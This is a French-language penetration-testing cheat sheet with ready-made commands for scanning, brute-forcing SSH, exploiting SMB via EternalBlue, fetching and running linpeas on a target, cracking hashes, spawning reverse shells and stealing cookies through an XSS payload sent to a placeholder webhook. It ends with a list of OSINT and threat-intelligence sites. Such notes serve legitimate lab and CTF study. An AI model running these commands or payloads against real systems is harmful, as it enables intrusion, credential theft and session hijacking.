Pentesting - Soft

1. Scan et reconnaissance

Nmap

Scan standard

```
sudo nmap -sC -sV -p- <IP>
```

Scan léger (soft)

```
sudo nmap -sV -O -p 1-1000 --version-light <IP>
```

Scan avancé (hard)

```
sudo nmap -A -p- --script=vuln <IP>
```

Gobuster (Bruteforce de répertoires)

```
gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/big.txt -x php,html
```

Hydra (Bruteforce d'authentification)

SSH

```
hydra -l <nom_utilisateur> -P /usr/share/wordlists/rockyou.txt ssh://<IP>
```

2. Exploitation de SMB

SMB (Server Message Block) est un protocole réseau utilisé pour le partage de fichiers et imprimantes, fonctionnant sur les ports `139` et `445`.

Enumération SMB

Avec `smbclient`

```
smbclient -L //<IP> -N
```

Avec `enum4linux`

```
enum4linux -a <IP>
```

Accès aux partages SMB

```
smbclient //<IP>/<partage> -U <utilisateur>
```

Recherche de vulnérabilités SMB

```
sudo nmap --script smb-vuln* -p 139,445 <IP>
```

Exploitation avec Metasploit

```
use exploit/windows/smb/ms17_010_eternalblue
set RHOST <IP>
exploit
```

3. Escalade de privilèges

Recherche de fichiers avec le bit SUID

```
find / -type f -perm -4000 2>/dev/null
```

Utilisation de `linpeas`

Téléchargement et exécution

```
wget https://github.com/peass-ng/PEASS-ng/releases/download/20240915-
f58aa30b/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
```

Exécution depuis une machine distante

Sur la machine attaquante :

```
python3 -m http.server 8000
```

Sur la machine cible :

```
cd /tmp
wget http://<IP>:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
```

4. Cracking de mots de passe

John the Ripper (SSH Key Password)

Conversion de la clé SSH

```
/usr/share/john/ssh2john.py <chemin_vers_ta_clé> > hash_john.txt
```

Cracking du hash

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash_john.txt
```

Affichage du mot de passe trouvé

```
john --show hash_john.txt
```

Hashcat

```
hashcat -a 0 -m <ID-Algo> hash.txt -o cracked.txt
/usr/share/wordlists/rockyou.txt
```

5. Reverse Shell

Reverse Shell PHP

```
wget https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-
reverse-shell.php
```

Amélioration du terminal

Transformer en TTY interactif

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Passage en mode raw

```
stty raw -echo
```

Adaptation du terminal

```
export TERM=xterm
```

Ressources supplémentaires

- Reverse Shell Cheat Sheet
- RevShells

6. Recherche de fichiers

```
find / -type f -name "<nom-fichier>" 2>/dev/null
```

7. Lancer un serveur HTTP

```
python3 -m http.server 8000
```

8. Stéganographie

Steghide

Cacher un fichier dans une image

```
steghide embed -cf image.jpg -ef secret.txt -p password
```

Extraire un fichier caché

```
steghide extract -sf image.jpg -p password
```

Exiftool (métadonnées)

```
exiftool image.jpg
```

Binwalk (analyse de fichiers binaires)

```
binwalk -e image.jpg
```

Outguess

Cacher un fichier

```
outguess -k "password" -d secret.txt image.jpg output.jpg
```

Extraire un fichier

```
outguess -k "password" -r output.jpg secret.txt
```

9. Exploitation Web

Injection SQL

Input Box Non-String

```
1 or 1=1-- -
```

Input Box String

```
1' or '1'='1'-- -
```

Injection XSS

Classique

```
<script>alert('XSS')</script>
```

Redirection

```
<script>window.location.href="{tonlienwebhook&var}".concat(document.cookie)
</script>
```

10. Outils Kali Linux

- **Burp Suite** : Interception des requêtes HTTP.
- **Sqlmap** : Détection et exploitation des injections SQL.
- **Metasploit** : Exploitation automatique de vulnérabilités.
- **Nikto** : Scan des failles web.
- **Dirb** : Recherche de répertoires cachés.

11. Ressources utiles

HackTricks

OWASP

NIST

MITRE ATT&CK®

Clusif

CVE

TOP 50 Search Engines for Cybersecurity Researchers- Praveen Singh			
S.N	Name	Address	Description
1	Dehashed	https://www.dehashed.com/	View leaked credentials
2	ExploitDB	https://www.exploit-db.com/	Archive of various exploits
3	Pulsedive	https://pulsedive.com/	Search for threat intelligence
4	Alienvault	https://otx.alienvault.com/	Extensive threat intelligence feed
5	Securitytrails	https://securitytrails.com/	Extensive DNS data
6	Zoomeye	https://www.zoomeye.org/	Gather information about targets
7	GrayHatWarfare	https://buckets.grayhatwarfare.com/	Search public S3 buckets
8	Grep App	https://grep.app/	Search across a half million git repos
9	CRT sh	https://crt.sh/	Search for certs that have been logged by CT
10	DorkSearch	https://dorksearch.com/	Really fast Google dorking
11	PolySwarm	https://polyswarm.io/	Scan files and URLs for threats
12	LeakIX	https://leakix.net/	Search publicly indexed information
13	FullHunt	https://fullhunt.io/	Search and discovery attack surfaces
14	ONYPHE	https://www.onyphe.io/	Collects cyber-threat intelligence data
15	Shodan	https://www.shodan.io/	Search for devices connected to the internet
16	Binary Edge	https://www.binaryedge.io/	Scans the internet for threat intelligence
17	Vulners	https://vulners.com/	Search vulnerabilities in a large database
18	DNSDumpster	https://dnsdumpster.com/	Search for DNS records quickly
19	SearchCode	https://searchcode.com/	Search 75 billion lines of code from 40 million projects
20	Hunter	https://hunter.io/	Search for email addresses belonging to a website
21	Wigle	https://www.wigle.net/	Database of wireless networks, with statistics
22	PublicWWW	https://publicwww.com/	Marketing and affiliate marketing research
23	Censys	https://censys.io/	Assessing attack surface for internet connected devices
24	Netlas	https://netlas.io/	Search and monitor internet connected assets
25	Fofa	https://fofa.info/	Search for various threat intelligence
26	WayBackMachine	https://archive.org/	View content from deleted websites
27	GreyNoise	https://www.greynoise.io/	Search for devices connected to the internet
28	IntelligenceX	https://intelx.io/	Search Tor, I2P, data leaks, domains, and emails
29	URL Scan	https://urlscan.io/	Free service to scan and analyse websites
30	Packet Storm Security	https://packetstormsecurity.com/	Browse latest vulnerabilities and exploits
31	OSINT Framework	https://osintframework.com/	OSINT Every Things
32	Exploit Notes	https://exploit-notes.hdks.org/	Search hacking techniques and tools for penetration testings, bug bounty, CTF
33	Hunter	https://hunter.how/	Which capable of performing fingerprint retrieval of internet-connected devices and services
34	VirusTotal	https://www.virustotal.com/gui/home/upload	Analyse suspicious files, domains, IPs, and URLs to detect malware
35	CVE	https://www.cvedetails.com/	Created to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities.
35	TinEye	https://tineye.com/	Reverse Image Search.
37	Haveibeenpwned	Haveibeenpwned.com	Check compromised status of Mail id in multiple data breaches
38	AbuseIPDB	https://www.abuseipdb.com/	Tracks abusive hosts and malicious domains on the internet.
39	Bayse	https://www.bayse.io/	Phishing and Attack Infrastructure Detection
40	Yandex	https://yandex.com/	Reverse Image search.
41	Central Ops	https://centralops.net/co/	Useful for Website osint
42	Cyber Chef	https://cyberchef.org/	Explore data format, encryption
43	MalwareBazaar	https://bazaar.abuse.ch/	Search for malware samples
44	URLhaus	https://urlhaus.abuse.ch/	Search for malicious URL
45	Ipinfo	https://ipinfo.io/	Find accurate information on a source ip
46	BugProve	https://bugprove.com/	Search IOT vulnerabilities
47	Abuse.ch	https://abuse.ch/	Providing community driven threat intelligence on cyber threats
48	Robtex	https://www.robtex.com/	Research of IP numbers, Domain names, etc
49	Chaos	https://chaos.projectdiscovery.io/#/	Enhance research and analyse changes around DNS for better insights.
50	Talos	https://talosintelligence.com/	Query by IP, domain, or network owner for real-time threat data.